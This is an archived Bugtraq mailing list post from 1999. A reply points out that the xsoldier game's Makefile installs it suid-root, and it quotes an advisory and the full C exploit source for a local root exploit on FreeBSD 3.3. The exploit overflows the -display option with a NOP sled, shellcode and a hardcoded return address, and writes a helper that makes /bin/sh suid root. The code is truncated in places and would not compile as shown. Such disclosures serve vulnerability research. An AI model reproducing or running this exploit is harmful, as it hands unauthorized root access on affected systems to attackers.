Home page logo

bugtraq logo Bugtraq mailing list archives

Xsoldier xploit (was: FreeBSD 3.3 xsoldier root exploit)
From: beaupran () IRO UMONTREAL CA (Spidey)
Date: Wed, 15 Dec 1999 23:11:01 -0500

Just to make things clear. This is not particular to FreeBSD. This is
the xsoldier program compiled normally. In fact, in the distribution
of xsoldier, the Makefile precisely specifies that the program should
be installed suid:

        @if [ -d $(BINDIR) ]; then set +x;         else (set -x; $(MKDIRHIER) $(
BINDIR)); fi

        $(INSTALL) -c -m 4755 $(PROGRAM) $(BINDIR)/$(PROGRAM)
        @echo "install bin . done"

That is all...

--- Big Brother told Brock Tellier to write, at 17:11 of December 15:

A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root
access.  This user does not have to have a valid $DISPLAY to exploit this.

Only FreeBSD 3.3-RELEASE has been tested.  xsoldier, suid-root by default, was
installed as part of the X11 games packages via /stand/sysinstall.

More problems with FreeBSD 3.3 ports.  This time with xsoldier, a suid-root
game.  A simple overflow in the -display option allows any user to gain root.
Although xsoldier only runs under X, a long -display arg on the CL will allow
us to gain root.

--- xsoldierx.c ---
 * xsoldier exploit for Freebsd-3.3-RELEASE
 * Drops a suid root shell in /bin/sh
 * Brock Tellier btellier () usa net

#include <stdio.h>

char shell[]= /* mudge () l0pht com */

#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"

void buildui() {
FILE *fp;
  char cc[100];
  fp = fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");

main (int argc, char *argv[] ) {
 int x = 0;
 int y = 0;
 int offset = 0;
 int bsize = 4400;
 char buf[bsize];
 int eip = 0xbfbfdb65; /* works for me */

 if (argv[1]) {
   offset = atoi(argv[1]);
   eip = eip + offset;
 fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier () usa net>\n");
 fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
 fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

 for ( x = 0; x < 4325; x++) buf[x] = 0x90;
     fprintf(stderr, "NOPs to %d\n", x);

 for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);

  buf[x++] =  eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);


execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);



Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier () usa net

Get free email and a permanent address at http://www.netaddress.com/?N=1

Si l'image donne l'illusion de savoir
C'est que l'adage pretend que pour croire,
L'important ne serait que de voir


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]